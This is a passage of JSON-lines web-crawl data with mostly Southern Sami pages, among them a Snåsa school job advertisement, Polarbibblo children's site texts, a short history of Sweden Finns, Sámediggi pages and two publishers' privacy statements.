uppdaterad:\nPublicerad:","id":"","dump":"CC-MAIN-2022-21","url":"https:\/\/www.socialstyrelsen.se\/om-socialstyrelsen\/nationella-minoriteter\/nasjonaale-unnebelahkoeh\/dov-reaktah\/","date":"2022-05-18T23:21:29Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2022-21\/segments\/1652662522556.18\/warc\/CC-MAIN-20220518215138-20220519005138-00003.warc.gz","language":"sma","language_score":0.9999933243,"language_script":"Latn","minhash_cluster_size":10,"top_langs":"{\"sma_Latn_score\": 0.9999933242797852}","num_words":212,"character_repetition_ratio":0.084,"word_repetition_ratio":0.0,"special_characters_ratio":0.134,"stopwords_ratio":0.066,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Snåasen skuvle tjaelije \/ konsulente 50 % barkoe\nSnåasen skuvlesne 50 % barkoe gååvnese goh tjaelije \/ konsulente gaskoeh goeven 2020 raejeste. Barkoe lea reereles dåarjoefunksjovne skuvlen åvtehkidie jïh sæjhta barkoe årrodh skuvlen kontovresne. Goh skuvlen tjaelije skuvlen \"vaajmosne\" barka jïh lea gellielaakan skuvlen ååredæjja olkese. Sæjhta jeereldihkie barkoelaavenjassh årrodh jïh ij naan biejjieh seammalaakan sjïdth. Tjuara maehtedh dovne juhtije barkoelaavenjassh gïetedidh jïh haestemh mah jijhtieh.\nBarkoelaavenjassh\n- Gyhtjelassh jïh guessieh dåastodh jïh gïetedidh\n- Våarhkoe\/journaletjaeleme\n- Åesteme\/dongkemh jïh attesteradimmie\n- Skuvleskovhteöörnegem reeredh\n- Skuvlen faagesysteemine barkedh\n- Skuvlen stuvreminie laavenjostedh dan biejjieladtje barkoen bïjre ektievoeteste\n- Barkoelaavenjassh nænnoestamme sjidtieh laavenjostosne rektovrine\nMaahtoeh\n- Dååjrehtimmie goh tjaelije\n- Hijven IKT-tjiehpiesvoeth\n- Dååjrehtimmie tjïelten faagesysteemijste akte aevhkie\n- Hijven njaalmeldh jïh tjaaleldh buektemevuekie.\n- Dååjrehtimmie ekonomije- jïh reeknehlåhkoebarkojne.\nLeavloe bïejesåvva persovneles sjiehtelesvoetese.\nVielie bïevnesh barkoen bïjre åadtjoeh jis soptsesth ektievoeten åvtehkinie \/ rektovre Sissel Dyrstad tell 95768838.\nGoh guektiengïeleldh tjïelte Snåasen tjïelte aaj sæjhta almetjh dåårrehtidh åarjelsaemien gïeline jïh kultuvremaahtojne.\nOhtseme seedtesåvva elektrovneles goeresne. Ohtsememierie 16.05.22\n___________________________________________________________\nSnåsa skole sekretær \/ konsulent 50 % stilling\nVed Snåsa skole er det ledig ledig 50 % stilling for sekretær\/ konsulent. Stillingen er administrativ støttefunksjon for skolens ledelse og innebærer betjening av skolens kontor.\nSom skolens sekretær jobber man i \"hjertet\" av skolen og er på mange måter skolens ansikt utad. Arbeidsoppgavene vil være varierte og ingen dager blir like. Man må ha evner til å ta unna både løpende driftsoppgaver og utfordringer som dukker opp.\nArbeidsoppgaver\n- Ta imot og håndtere henvendelser og besøkende\n- Arkivering\/journalføring\n- Innkjøp\/bestillinger og attestering\n- Administrere skoleskyssordning\n- Betjene skolens fagsystemer\n- Samarbeide med skolens ledelse om daglig drift av enheten\n- Arbeidsoppgavene blir for øvrig fastlagt i samarbeid med rektor\nKvalifikasjoner\n- Erfaring som sekretær\n- Gode IKT-ferdigheter\n- Erfaring fra kommunens fagsystemer er en fordel\n- God muntlig og skriftlig framstilling.\n- Erfaring med økonomi- og regnskapsarbeid.\nPersonlig egnethet vil bli vektlagt.\nNærmere opplysninger om stillingen fås ved henvendelse til enhetsleder \/ rektor Sissel Dyrstad tlf 95768838.\nSom tospråklig kommune ønsker Snåsa kommune også å rekruttere inn personer med sørsamisk språk og kulturkompetanse.\nSøknad sendes på elektronisk skjema. Søknadsfrist 16.05.22.","id":"","dump":"CC-MAIN-2022-21","url":"https:\/\/www.snasa.kommune.no\/tjenester\/ledige-stillinger\/snasa-skole-sekretar-konsulent-50-stilling.12183.aspx","date":"2022-05-20T03:37:15Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2022-21\/segments\/1652662531352.50\/warc\/CC-MAIN-20220520030533-20220520060533-00294.warc.gz","language":"sma","language_score":0.8844135404,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"sma_Latn_score\": 0.8844135403633118, \"sme_Latn_score\": 0.06053874269127846, \"nob_Latn_score\": 0.05295839533209801}","num_words":312,"character_repetition_ratio":0.066,"word_repetition_ratio":0.0,"special_characters_ratio":0.191,"stopwords_ratio":0.054,"flagged_words_ratio":0.0,"lang_id_score":0.917,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Tjaelieh guvviesoptsesem Ih datne tjaangeme jïh dellie nommehth gosse maam joem seedteme. Jis meatan vuerpesne sïjhth årrodh dellie tjoerh akten kontose tjaangedh. Dov tjaalege jeatjah byjjebasse åtnoenommine vuesiehtåvva: MaLeZ X Tjaangedh Jallh Åtnoekonto darjoeh Åtnoekonto darjoeh Tjaelieh guvviesoptsesem - Bïenjen Låtnohth man bïjre tjaalah Vedtieh nommem dov guvviesoptsesasse * Order: Veeljh guvviem Guvviem leam veeljeme Mij soptsesisnie heannede? Sliejhtieh daam sæjroem Member.PictoStory.UpdateSortOrder Bïejh orre sæjroem","id":"","dump":"CC-MAIN-2022-21","url":"https:\/\/www.polarbibblo.se\/sma-se\/tjaeledh\/tjaelieh-guvviesoptsesem\/?categoryId=1","date":"2022-05-23T01:51:34Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2022-21\/segments\/1652662552994.41\/warc\/CC-MAIN-20220523011006-20220523041006-00410.warc.gz","language":"sma","language_score":1.0000038147,"language_script":"Latn","minhash_cluster_size":7,"top_langs":"{\"sma_Latn_score\": 1.0000038146972656}","num_words":63,"character_repetition_ratio":0.094,"word_repetition_ratio":0.0,"special_characters_ratio":0.137,"stopwords_ratio":0.032,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Sveerjesåevmieladtjh\nSveerjen raasth leah jorkesamme gellien aejkien histovrijen mietie jïh Såevmie jïh Sveerje såemies tïjjine seamma laante orreme. Dïhte lea såevmiegïeledh almetjh orreme desnie mij daelie Sveerje unnemes 1000 jaepieh. Naan dejstie böötin diekie goh vætnarassjh jïh åesiestæjjah, mubpieh böötin jïh eatnemem skåajjesne nåhtadin, mubpieh gruvesne, ruevtiebrukine, saakevierhkine jïh mubpieh industrijine barkin.\nGåessie gånkah, goh Gustav Vasa 1500-låhkosne, tuhtjin jienebh båantah byörin skåajjesne årrodh dellie dah almetjh juhtin, såemies aejkien luhpine skaehtiefrïjjevoeten bïjre. Gellie gïeh Savolaxesne årroejin, mij daelie Såevmesne, sjïdtin svedjebåantah Sveerjesne 1500-låhkosne. Dellie lij såevmien fuelhkie mij Grätnäsen gåajkoe juhtin mij lea geajnoen baalte Sollefteåen gåajkoe.\nSåevmesne lea orreme dåaroe jienebh enn Sveerjesne. Såevmie lij Russlaanteste okkuperadamme 1713-21. Dah jaepieh gohtji \"Stoerre ovraeffie\" jïh gellie almetjh Sveerjese baatarin.\n1808-09 Sveerje jïh Russlaante dåaroejin, men dåaroe lij luvlielisnie, såevmien bielien rïjhkesne, jïh gellie jallese baatarin, dohkoe mij daan biejjien lea Sveerje guktie dåaroste baatarin.\nMubpien veartenedåarosne lij golme dåaroeh Såevmesne. Voestegh Sovjetunionen pryövi Såevmiem vaeltedh jïh daelvien 1939-40 lij Såevmien daelviedåaroe. Dan mænngan tyskeladtjh jïh såevmieladtjh ektesne Sovjeten vööste jïh minngemes Såevmie gæmhpoeji guktie tyskeladtjh såevmien Lapplandeste gaatoejin.\nJïjnjh eejhtegh dej maanah Sveerjese seedtin guktie dah edtjin jearsoes årrodh, mohte lij dan soe gïerve maanide gïeh oktegh böötin. Åerpenh idtjin ektesne årrodh jïh idtji naaken såevmiegïelem guarkoeh gusnie dah böötin, gosse dåaroe nåhki dellie dah åajaldehtin guktie såevmiegïelem soptsestin jïh mahte idtji oktegh bååstide vöölki Såavman. 70 000 maanah Sveerjese böötin oktegh dej eejtegh namhtah.\nMarken fuelhkie lea Österbottenistie. Sveerjesåevmieladtjh lea akte Sveerjen nasjonaale unnebelåhkojste.","id":"","dump":"CC-MAIN-2022-21","url":"http:\/\/nolavonda.se\/sma\/sveerjesaevmieladtjh","date":"2022-05-29T01:38:30Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2022-21\/segments\/1652663035797.93\/warc\/CC-MAIN-20220529011010-20220529041010-00645.warc.gz","language":"sma","language_score":0.9999688864,"language_script":"Latn","minhash_cluster_size":2,"top_langs":"{\"sma_Latn_score\": 0.9999688863754272}","num_words":240,"character_repetition_ratio":0.051,"word_repetition_ratio":0.0,"special_characters_ratio":0.161,"stopwords_ratio":0.092,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Saemiedigkie barka ihke saemieh edtjieh åadtjoeh sijjen gïelem, sijjen kultuvrem jïh sijjen siebriedahkejieledem gorredidh jïh evtiedidh.\nStoerretjåanghkoe aalka dæjstan, ruffien 14.b. ts. 09.00 jïh orreje bearjadahken, ruffien 17.b. åvtelen ts. 15.00.\nVuartesjh aamhteselæstoem jïh programmem\nlea prosjekte mejnie Nöörjen Saemiedigkie lea aalkeme.\nMijjieh sïjhtebe saemien maanah edtjieh dam ellen bööremes aalkovem åadtjodh goh gåarede sijjen gïelem evtiedidh. Gosse eejhtegh, aahka gon aajjah jïh jeatjah geerve almetjh maanese luhkieh dellie dïhte vihkeles våaromem vadta lïeremasse jïh lohkemelastose jïh mænngan lohkeme- jïh tjaelemebievniemasse.\nLohkh vielie Lohkh munnjien! bïjre","id":"","dump":"CC-MAIN-2022-21","url":"https:\/\/sametinget.no?sprak=14\/","date":"2022-05-26T23:36:08Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2022-21\/segments\/1652662627464.60\/warc\/CC-MAIN-20220526224902-20220527014902-00427.warc.gz","language":"sma","language_score":1.000007987,"language_script":"Latn","minhash_cluster_size":4,"top_langs":"{\"sma_Latn_score\": 1.0000079870224}","num_words":84,"character_repetition_ratio":0.044,"word_repetition_ratio":0.0,"special_characters_ratio":0.169,"stopwords_ratio":0.143,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Introduksjon\nGosse datne daan learoe-baalkan mietie lïereme datne:\n- edtjh daejredh gie Marja Bål Nango\n- filme-ållermaehtemem lohkeme jïh åenehks-filmem Hilbes biigá vuajneme\n- filmen soptsestimmie-vuekiem jïh viehkie-dïrregh vuarjasjamme\n- filme-ållermaehtemem tjaaleme.\nDigkedh daejtie gyhtjelasside jeatjabinie learoehkinie jallh klaassesne:\n- Datne filmi bïjre daajrah, mah leah noere-baelien kultuvren bïjre, gosse noerh aelkieh alkohovlem nuhtjedh jïh dåehkie-deatoven bïjre\nDatne dagkerh filmh lyjhkh?\n- Seammalaakan noerine Stuhkesne jïh Oslosne årrodh guktie Snåasesne jïh Rørosne?","id":"","dump":"CC-MAIN-2022-21","url":"https:\/\/ndla.no\/subject:20\/topic:1:198284\/topic:1:182011\/resource:1:178166","date":"2022-05-25T05:48:18Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2022-21\/segments\/1652662580803.75\/warc\/CC-MAIN-20220525054507-20220525084507-00403.warc.gz","language":"sma","language_score":1.0000048876,"language_script":"Latn","minhash_cluster_size":8,"top_langs":"{\"sma_Latn_score\": 1.0000048875808716}","num_words":66,"character_repetition_ratio":0.055,"word_repetition_ratio":0.0,"special_characters_ratio":0.157,"stopwords_ratio":0.152,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Faagesne goerehtimmie saemiengïelesne dïhte dåaresthfaageles teema demokratije jïh meatanårrojevoete edtja njaalmeldh jïh tjaaleldh tjiehpiesvoeth learoehkidie vedtedh guktie dah maehtieh haestemh demokrateleslaakan dåastodh. Goerehtimmesne saemiengïelesne learohkh våaromem åadtjoeh gyhtjelassi bijjeli ussjedadtedh mah leah jienebelåhkoen jïh unnebelåhkoen laakide jïh reaktide ektiedamme. Lïerehtimmien tjïrrh learohkh edtjieh haarjanimmiem åadtjodh laejhtehkslaakan ussjedidh, meatan årrodh digkiedimmine jïh joekehts mïelh jååhkesjidh.","id":"","dump":"CC-MAIN-2022-21","url":"https:\/\/www.udir.no\/lk20\/sfs02-02\/om-faget\/tverrfaglige-temaer?lang=sma","date":"2022-05-19T11:30:35Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2022-21\/segments\/1652662527626.15\/warc\/CC-MAIN-20220519105247-20220519135247-00016.warc.gz","language":"sma","language_score":1.0000084639,"language_script":"Latn","minhash_cluster_size":2,"top_langs":"{\"sma_Latn_score\": 1.000008463859558}","num_words":54,"character_repetition_ratio":0.053,"word_repetition_ratio":0.0,"special_characters_ratio":0.106,"stopwords_ratio":0.13,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Jaepien 2019 eelkimh barkedh Polarbibblom jeatjahtehtedh jïh bueriemdidh. Mijjieh sïjhtebe maanide abpe laantesne jaksedh ij barre Norrbottenisnie. Aaj sïjhtebe gelline gïeline gååvnesidh enn barre svïenske gïelesne. Voestegh libie webbesijjiem orrestahteme jïh bueriedamme guktie tjaebpebe sjïdti. Jïh dam darjoejimh!\nGolken 1b. 2020 dïhte orre Polarbibblo lij gaervies. Jïjnjh dejstie båeries aatijste ennje aajmene, goh tjaeledh, guvviedidh jïh spealadidh, men jïjnjh orre aaj lissine båateme. Jis dov lea konto mijjen luvnie maahtah dehtie prosjeektide spååredh mejnie aalkeme jïh mænngan vihth dejgujmie barkedh.\nLæjhkan sïjhtebe buerebe sjïdtedh jïh orre funksjovnh sjïehteladtedh. Jaepien 2021 maahtah lohkedh jïh orre teeksth seedtedh saemien- jïh meänkielin gïeline. Dan mænngan aaj maahtah guvvieh, tjoejh jïh videjoh webbesæjjan seedtedh. Sïjhtebe daate edtja naemhtemes sijjie årrodh gusnie maanah mah sijhtieh maam joem skaepiedidh, åadtjoeh meatan årrodh, seamma saaht maam skaepiedieh.\nMijjieh aavoedibie gosse sjïdteminie jïh sijhtebe buerebe sjïdtedh. Daelie Polarbibblo bijjelen 20 jaepien båeries. Akten webbesæjjan dïhte joekoen båeries. Destie libie madtjele. Jïh dan guhkiem orre utnijh båetieh, dan guhkiem gïehtelibie.\nAaj maahtah mijjine govlehtidh. Seedth meejlem mijjen infoprievien sæjjan: firstname.lastname@example.org dellie guhte redaksjovneste datnem bïeljele.","id":"","dump":"CC-MAIN-2022-21","url":"https:\/\/www.polarbibblo.se\/sma-se\/polarbibblo-sjidteminie\/","date":"2022-05-28T12:43:31Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2022-21\/segments\/1652663016853.88\/warc\/CC-MAIN-20220528123744-20220528153744-00080.warc.gz","language":"sma","language_score":1.0000004768,"language_script":"Latn","minhash_cluster_size":3,"top_langs":"{\"sma_Latn_score\": 1.0000004768371582}","num_words":172,"character_repetition_ratio":0.055,"word_repetition_ratio":0.0,"special_characters_ratio":0.159,"stopwords_ratio":0.105,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Saemiedigkie barka ihke saemieh edtjieh åadtjoeh sijjen gïelem, sijjen kultuvrem jïh sijjen siebriedahkejieledem gorredidh jïh evtiedidh.\nlea prosjekte mejnie Nöörjen Saemiedigkie lea aalkeme.\nMijjieh sïjhtebe saemien maanah edtjieh dam ellen bööremes aalkovem åadtjodh goh gåarede sijjen gïelem evtiedidh. Gosse eejhtegh, aahka gon aajjah jïh jeatjah geerve almetjh maanese luhkieh dellie dïhte vihkeles våaromem vadta lïeremasse jïh lohkemelastose jïh mænngan lohkeme- jïh tjaelemebievniemasse.\nLohkh vielie Lohkh munnjien! bïjre","id":"","dump":"CC-MAIN-2022-27","url":"https:\/\/sametinget.no\/?sprak=14\/","date":"2022-06-28T02:28:23Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2022-27\/segments\/1656103347800.25\/warc\/CC-MAIN-20220628020322-20220628050322-00706.warc.gz","language":"sma","language_score":1.0000090599,"language_script":"Latn","minhash_cluster_size":10,"top_langs":"{\"sma_Latn_score\": 1.0000090599060059}","num_words":67,"character_repetition_ratio":0.046,"word_repetition_ratio":0.0,"special_characters_ratio":0.139,"stopwords_ratio":0.149,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Personvernerklæring\n1) Hvem er behandlingsansvarlig?\nDenne personvernerklæringen gjelder for iSámi.Press AS sine nettsteder. iSámi.Press AS er behandlingsansvarlig for personopplysninger som samles inn på nettsiden www.samimag.no\n2) Hva er formålet?\nVåre registreringer inneholder kun informasjon som personen frivillig gir oss og vi henter ikke inn informasjon for dette formålet fra tredjeparter. Informasjonen innhentes kun for å:\n– sende relevant vårt nyhetsbrev\n– forbedre brukeropplevelsen på siden\n– kontaktinformasjon – for at vi kan kontakte deg\n3) Hva er det rettslige grunnlaget?\nDet rettslige grunnlaget for behandlingen av personvernopplysninger er basert på frivillig, uttrykkelig og informert samtykke.\n4) Hvilke personopplysninger behandles?\nEksempler på informasjon som innhentes og registreres:\n– Din e-postadresse hvis du har meldt deg på vårt nyhetsbrev\n– Informasjon om din bruk av nettsiden, blant annet i form av hvilke undersider som besøkes, nettleserinstillinger. IP-adresse blir ikke sporet da denne informasjonen anonymisering av Google Analytics. Databehandleravtalen til Google Analytics kan sendes på forespørsel.\n– Chat-dialogen du gjennomfører via vårt chatverktøy WordPress, kan slettes på forespørsel\n5) Hvor hentes opplysningene fra?\niSámi.Press AS henter opplysninger gjennom skjemaer på våre nettsider\nwww.samimag.no etter:\n– påmelding til å motta nyhetsbrev\n– påmelding til webinar og\/eller kurs\n– i det du fyller i et skjema\n6) Er det frivillig å gi fra seg opplysningene?\nDet er frivillig å oppgi personopplysninger til iSámi.Press AS\n7) Utleveres opplysningen til tredjeparter?\nPersonopplysningene deles ikke med utenforstående tredjeparter, men iSámi.Press AS bruker underleverandører til utvikling og vedlikehold av nettsiden. Slike underleverandører kan behandle personopplysninger på vegne av iSámi.Press AS\n8) Hvordan slettes og arkiveres opplysningene?\nInformasjon innhentes gjennom påmeldingsskjema til vårt nyhetsbrev på @samimag.no og lagres av oss i MailMojo som er vår leverandør av utsending av nyhetsbrev. Informasjonen slettes på oppfordring ved å kontakte oss.\n9) Hvilke rettigheter har den registrerte og hvilke lands lovverk gjelder?\nSom bruker av nettsidene våre har du rett til å kreve innsyn i personopplysningene som vi behandler om deg og hvordan de behandles. Du kan også kreve retting, sletting og begrensninger i behandlingen av personopplysninger i henhold til gjeldende personopplysningslov i Norge. I tilfeller der behandlingen av personopplysninger er basert på samtykke kan du til enhver tid trekke samtykket tilbake.\n10) Hvordan sikres opplysningene?\nAnsatte i iSámi.Press AS har tilgang til MailMojo som er vår leverandør av utsending av nyhetsbrev via personlig pålogging og opplysninger som er registrert i systemet skal behandles fortrolig av ansatte. Dersom du mener at iSámi.Press AS ikke har overholdt dine rettigheter i henhold til personopplysningsloven, har du rett til å klage til den aktuelle tilsynsmyndigheten. Dette gjøres ved å sende klage til Datatilsynet, kontaktinformasjon er tilgjengelig på datatilsynet.no.\n11) iSámi.Press AS\nJuhána Rástoš geaidnu 2, 9730 Karasjok\nEpost: email@example.com\nSist oppdatert 15.04.2020\nPERSOVNEVAARJELIMMIEBÆJHKOME Sámi magasijnese jïh ektiedamme digitaale bæjhkoehtimmide jïh dïenesjidie.\nSámi magasijne (SM) tuhtjie vihkeles dov persovnevaarjelimmiem vaarjelidh jïh respekteradidh. SM persovnebïevnesh gïetede persovnebïevneselaaken mietie dej fierhten aejkien sïejhme laaki mietie. Daate persovnevaarjelimmiebæjhkome buerkeste mah persovnebïevnesh mijjieh dåastobe jïh sïjse tjöönghkebe gosse datne digitaale bæjhkoehtimmieh jïh vuelebe dïenesjh nuhtjh mejtie SM bæjhkohte (aaj faamosne \"digitaale vuekieh\"), jïh maam mijjieh darjobe juktie dov persovnebïevnesh vaarjelidh.\nSM datnem haasta daejnie persovnevaarjelimmiebæjhkoeminie hijvenlaakan åahpenidh. Gosse datne mijjen bæjhkoehtimmieh jïh dïenesjh åtnose vaaltah datne mijjen gïetedimmiem persovnebïevnesijstie jååhkesjh daan persovnevaarjelimmiebæjhkomem mietie jïh dej mieriej sisnjeli mah leah daaletje laaki mietie.\n1 GÏETEDIMMIEN TJÅADTJOEHTÆJJA\nSámi magasijne (SM) dïedtem åtna gïetedimmien åvteste persovnebïevnesijstie dej digitaale bæjhkoehtimmiejgujmie jïh vuelebe dïenesjigujmie, mejtie SM olkese vadta.\n2 PERSOVNEBÏEVNESH\n2.1 Bïevnesh datne jïjtje mijjese vadtah\nSámi magasijne (SM) doh persovnebïevnesh gïetede mejtie datne vadtah gosse jïjtjemdh mijjen luvnie registreredh, jïh bïevnesh mejtie jeatjahlaakan jïjtjevyljehke datneste vadtah, vuesiehtimmien gaavhtan gosse utnijeprofijlem tseegkh, bïevnesh vadtah nommen, adressen, e-påasten, mobijlenommeren, aalteren jïh dagke aaj ïedtji bïjre.\n2.2 Bïevnesh SM sïjse tjöönghkie gosse mijjen dïenesjh nuhtjh\nGosse digitaale bæjhkoehtimmieh jïh vuelebe dïenesjh nuhtjh, Sámi magasijne (SM) registrerede viehkine ovmessie analyjsedïrregijstie, dov darjomh. SM aaj bïevnesh sïjse tjöönghkie dehtie ektievoeteste maam nuhtjh, gosse mijjen digitaale vuekieh vaaksjoeh, vuesiehtimmien gaavhtan bïevnesh IP-adressen, operatijvesysteemen, nedtelohkijen jïh nedteviermien bïjre.\nSM aaj bïevnesh tjöönghkie åtnoen jïh trafihken bïjre, vuesiehtimmien gaavhtan bïevnesh sïjseloggadimmiehistorihken bïjre, åtnoe- jïh svihtjememöönsteren bïjre, mah tjaalegh utnijh luhkieh, man gellien aejkien tjaalegh leah vuajnalgamme jïh man gellie utnijh. SM aaj bïevnesh tjöönghkie saernieprieviedongkemen bïjre, daan nuelesne mah saernieprievieh mah dutnjien seedtesuvvieh, guhte dejstie datne rïhpesth, maam e-påasteklientide datne nuhtjh, gusnie datne leah gosse saernieprieviem rïhpesth jïh misse deadtah daejnie e-påastine.\nDastegh datne sijjiebaseradamme dïenesjh nuhtjh, Sámi magasijne (SM) maahta sïjse tjöönghkedh jïh bïevnesh gïetedidh dov posisjovnen bïjre. SM sæjhta sjïerelaakan datnem bïeljelidh jïh jååhkesjimmien bïjre birredh åvtelen dagkerh bïevnesh sïjse tjöönghkebe. Datne maahtah saaht gåessie dov jååhkesjimmiem bååstede giesedh daaletje laaki mietie.\n2.3 Sjïere åtnoen bïjre cookiesistie\nMijjen digitaale vuekine nuhtjebe bïevnesekaapselh, mah gohtjesuvvieh cookies: Vielie bïevnesh, vuartesjh http:\/\/samimag.no\/sma\/content\/cookies\nMïerhkh, gosse datne Sámi magasijnem (SM) nuhtjh dellie aaj mijjen åtnoem bïevnesekaapselijstie (cookies) jååhkesjh.\n3 MIJJEN ÅTNOE PERSOVNEBÏEVNESIJSTIE\nSM persovnebïevnesh nuhtjie mejtie datne leah vadteme juktie maehtedh dutnjien dejtie dïenesjidie vedtedh mej åvteste datne lea jïjtjemdh registreradamme, jïh juktie maehtedh datnine govlesadtedh daej bïjre. Mijjieh aaj sïjse tjöönghkebe jïh bïevnesh gïetedibie gosse mijjen dïenesjh nuhtjh mah leah bijjielisnie buerkiestamme juktie maehtedh sisvegem sjïehtedidh jïh annonside sjïerelaakan stuvredh dov dåemiedimmien jïh preferanseaarvehtsi mietie, maarhkedetreendh analyseradidh, mijjen bæjhkoehtimmieh jïh dïenesjh bueriedidh jïh båajhtoeh åtnoem heerredidh jïh vueptiestidh.\n3.1 Persovneprofijlh\nMuvhten aejkien SM persovnebïevnesh vierteste mejtie mijjieh åådtjebe datneste bïevnesigujmie jeatjah gaaltijijstie. Maahta vuesiehtimmien gaavhtan årrodh mijjieh dongkemedaatah jïh bïevnesh nommen jïh adressen bïjre viertiestibie mejtie datne leah vadteme, bïevnesigujmie dej bæjhkoehtimmiej jïh låhkoej bïjre datne nuhtjh, sïjseloggadimmiehistorihke jallh daatah dov åtnoemöönsteren bïjre. Daah daatah öörnesuvvieh goh persovneprofijlh jïh tjåanghkan bïejesuvvieh krypteradamme jïh tjeakoes utnije-id'i baaktoe. Sijhtebe aaj maehtedh segmenteradidh dagkerh persovneprofijlh tjïertestamme segemeenti sïjse. SM dam dorje juktie maehtedh mijjen sisvegem sjïehtedidh, annonsh jïh maarhkededoekemegyhtjelassh sjïerelaakan dutnjien stuvredh jïh maehtedh mijjen digitaale bæjhkoehtimmieh jïh ektiedamme dïenesjh guhkiebasse evtiedidh.\n3.2 Maarhkededoekeme\nSámi magasijne (SM) persovnebïevnesh nuhtjie juktie dutnjien bïevnesh jïh maarhkededoekemem vedtedh bæjhkoehtimmiej jïh dïenesji bïjre mejstie datne maahtah ïedtjem utnedh, baseradamme dejtie bïevnesidie datne jïjtje leah vadteme jallh dej bïevnesi mietie SM lea sïjse tjöönghkeme åtnoen tjïrrh mijjen digitaale dïenestijstie (persovneprofijlh)\nJis datne leah jallh dongkije orreme, pryövedongkije jallh leah utnijeprofijlem jeatjahlaakan registreradamme, vuesiehtimmien gaavhtan saernieprievieh åadtjodh, leah maahteme krïevenassi tjïrrh jååhkesjamme elektrovneles govlesadtemem jïh maarhkededoekemem dåastodh goh åestije, jïh SM maahta dellie govlehtimmieh seedtedh dan jååhkesjimmien mietie maam vadteme. SM maahta aaj dutnjien maarhkededoekemem elektrovneles seedtedh, goh e-påaste jïh sms, dej krïevenassi mietie mah leah sïejhme laaki mietie, goske datne jïjtje beavnah datne ih vielie dagkeres govlesadtemem sïjhth. Maahtah saaht gåessie veeljedh jïjtjemdh reserveradidh dagkeres govlehtimmiej vööste.\nJis ih leah utnijeprofijlem mijjen luvnie registreradamme jallh dov gaskesedaatah såårneme goh åestije, SM sæjhta ajve saernieprievieh jïh elektrovneles maarhkededoekemem seedtedh jis datne sjïerelaakan leah jååhkesjamme dagkerh govlehtimmieh dåastodh.\n4 DEELLEME PERSOVNEBÏEVNESIJSTIE\nPersovnebïevnesh SM dov bïjre åtna maehtieh deellesovvedh jeatjah sïeltide mijjen konsernen sisnjelen, jïh aaj dejtie sïeltide mah latjkoen mietie mijjine, dam teknihkeles jallh reereles barkoem utnieh mijjen digitaale bæjhkoehtimmijste jïh ektiedamme dïenestistie. Gosse SM gåalmedeguejmide luhpiem vadta persovnebïevnesidie naemhtie, SM gorrede daah gåalmedeguejmieh mijjen krïevenassh gïetedimmien bïjre persovnebïevnesijstie jïh sïejhme laakijste steerieh. Persovnebïevnesh maehtieh aaj vadtasovvedh dastegh daate lea luhpies laaken mietie, jallh SM stillesåvva dam darjodh aktede riekteste jallh jeatjah byögkeles åejvieladtjeste.\nSámi magasijne (SM) maahta gåalmedeguejmide luhpiem vedtedh akkumuleradamme jïh tjeakoes daatide.\n5 SÁMI MAGASIJNE (SM) GÏETEDIMMIE PERSOVNEBÏEVNESIJSTIE\nAjve autoriseradamme barkijh Morgenbladet-plaerien luvnie luhpiem åtna dov persovnebïevnesidie. Luhpie persovnebïevnesidie lea gorredamme luhpiekontrolline jïh tjeakoesbaakojne. SM avanseradamme teknologijem nuhtjie juktie heerredidh olles luhpehts almetjh mijjen systeemi sïjse båetieh.\nSámi magasijne (SM) tjaaleldh ruvtijnh åtna sisnjeldskontrollese jïh bïevnesejearsoesvoetese juktie gorredidh jïh vihtiestidh mijjen gïetedimmie persovnebïevnesijstie lea sïejhme laaki mietie.\nDov persovnebïevnesh sijhtieh ajve vöörhkesovvedh dan guhkiem mijjieh saakeles daerpiesvoetem utnebe dam darjodh daan persovnebæjhkomen jïh sïejhme laaki mietie. Gosse saakeles daerpiesvoete ij vielie gååvnesh, sijhtebe bïevnesidie hiejhtedh jallh dejtie tjeakoes darjodh.\n6 DOV REAKTAH\nDov lea iktesth reaktah vuejnedh doh bïevnesh mah leah dov bïjre registreradamme, jïh maahtah staeriedimmiem jïh hiejhtemem krïevedh sïejhme laaki mietie.\n7 JARKELIMMIEH DAEHTIE PERSOVNEVAARJELIMMIEBÆJHKOEMISTIE\nSámi magasijne (SM) maahta daam persovnevaarjelimmiebæjhkomem revideradidh gosse gïetedimmie persovnebïevnesijstie jorkese, jallh gosse revisjovne lea daerpies jarkelimmiej gaavhtan sïejhme laakine. Gosse SM jarkelimmieh dorje daennie bæjhkoemisnie SM sæjhta revisjovnedaatovem daennie sæjrosne jarkelidh, jïh dïhte jarkelamme persovnevaarjelimmiebæjhkome faamoem åådtje minngemes revisjovnebiejjien raejeste. SM sæjhta jarkelimmide hijven våajnoes darjodh, men juvnehtibie datne jaabnan persovnevaarjelimmiebæjhkomem lohkh gosse mijjen digitaale vuekieh vaaksjoeh. Lissine sijhtebe tjaavhkodh aarebi versjovnh persovnevaarjelimmiebæjhkoemistie aktene våarhkosne, guktie datne maahtah dejtie aelhkieslaakan åadtjodh.\n8 GOVLEHTIMMIEH\nJis sïjhth vielie bïevnesh åadtjodh mijjen gïetedimmien bïjre persovnebïevnesijstie, maahtah mijjem gaskesadtedh daesnie 